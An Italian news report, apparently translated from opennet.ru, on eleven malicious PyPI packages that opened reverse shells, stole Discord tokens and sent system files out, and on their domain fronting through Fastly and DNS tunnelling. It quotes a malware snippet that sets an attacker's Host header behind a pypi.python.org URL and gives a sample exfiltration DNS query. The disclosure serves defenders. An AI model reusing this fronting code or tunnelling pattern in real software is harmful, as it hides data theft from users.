Nel catalogo PyPI (Python Package Index) sono stati individuati 11 pacchetti contenenti codice dannoso. Prima della scoperta dei problemi, i pacchetti sono stati scaricati circa 38 mila volte. I pacchetti dannosi identificati sono notevoli per l'uso di metodi elaborati per nascondere i canali di comunicazione con i server degli aggressori.
- importantpackage (6305 download), important-package (12897) — stabilivano una connessione con un server esterno spacciandosi per un collegamento a pypi.python.org per fornire accesso shell al sistema (reverse shell) e utilizzavano il programma trevorc2 per nascondere il canale di comunicazione.
- pptest (10001), ipboards (946) — utilizzavano DNS come canale di comunicazione per trasmettere informazioni sul sistema (nel primo pacchetto, nome host, directory di lavoro, IP interno ed esterno, nel secondo — nome utente e nome host).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) — individuavano nel sistema il token del servizio Discord e lo inviavano a un host esterno.
- trrfab (287) — inviava a un host esterno identificativo, nome host e contenuti di /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) — stabiliva una connessione shell inversa con un host esterno.
- yandex-yt (4183) — visualizzava un messaggio di compromissione del sistema e reindirizzava a una pagina con ulteriori informazioni sulle azioni da intraprendere, fornite tramite nda.ya.ru (api.ya.cc).
Un'attenzione particolare merita il metodo di accesso agli host esterni utilizzato nei pacchetti importantpackage e important-package, che hanno impiegato per nascondere la loro attività la rete di distribuzione dei contenuti Fastly, utilizzata nel catalogo PyPI. In effetti, le richieste venivano inviate al server pypi.python.org (incluso specificando il nome python.org in SNI all'interno della richiesta HTTPS), ma il campo 'Host' dell'intestazione HTTP veniva impostato sul nome del server controllato dagli aggressori (sec.forward.io.global.prod.fastly.net). La rete di distribuzione dei contenuti indirizzava tali richieste al server degli aggressori, utilizzando durante la trasmissione dei dati parametri SSL della connessione con pypi.python.org.
Il funzionamento dell'infrastruttura PyPI è garantito grazie all'utilizzo della rete di distribuzione dei contenuti Fastly, in cui un proxy trasparente Varnish è impiegato per la cache delle richieste standard, e viene utilizzato anche il processamento dei certificati TLS a livello di CDN, e non sui server finali, per organizzare il passaggio delle richieste HTTPS attraverso il proxy. Indipendentemente dall'host di destinazione, le richieste vengono inviate al proxy, che determina l'host richiesto in base all'intestazione HTTP 'Host', e nomi di dominio Gli host sono collegati agli indirizzi IP standard per tutti i clienti di Fastly dei bilanciatori di carico CDN.
Il server degli aggressori viene anch'esso registrato nel CDN Fastly, che offre piani tariffari gratuiti a chiunque e consente anche una registrazione anonima. È notevole che per inviare richieste alla vittima, durante la creazione di una "reverse shell", venga utilizzata la stessa schematica, ma avviata dal lato dell'host degli aggressori. L'interazione con il server degli aggressori appare come una sessione legittima con il catalogo PyPI, crittografata utilizzando certificato TLS PyPI. Questa tecnica, conosciuta come "domain fronting", è stata in precedenza utilizzata attivamente per nascondere il nome dell'host durante l'aggiramento dei blocchi, sfruttando la possibilità fornita in alcune reti CDN di collegarsi tramite HTTPS specificando in SNI un host fittizio e trasmettendo effettivamente il nome dell'host richiesto nell'intestazione HTTP Host all'interno della sessione TLS.

Per celare l'attività malevola è stato utilizzato anche il pacchetto TrevorC2, che permette di far sembrare l'interazione con il server simile a una navigazione web normale; ad esempio, le richieste malevole venivano inviate sotto forma di download di un'immagine "https://pypi.python.org/images/guid=" codificando le informazioni nel parametro guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
Nei pacchetti pptest e ipboards è stato impiegato un approccio diverso per nascondere l'attività di rete, basato sulla codifica delle informazioni utili nelle richieste ai server DNS. Il malware trasmette informazioni eseguendo richieste DNS come "nu4timjagq4fimbuhe.example.com", in cui tramite il formato base64 sono codificati i dati trasferiti al server di comando. L'aggressore riceve i dati di messaggi controllando il server DNS per il dominio example.com.
Fonte: opennet.ru
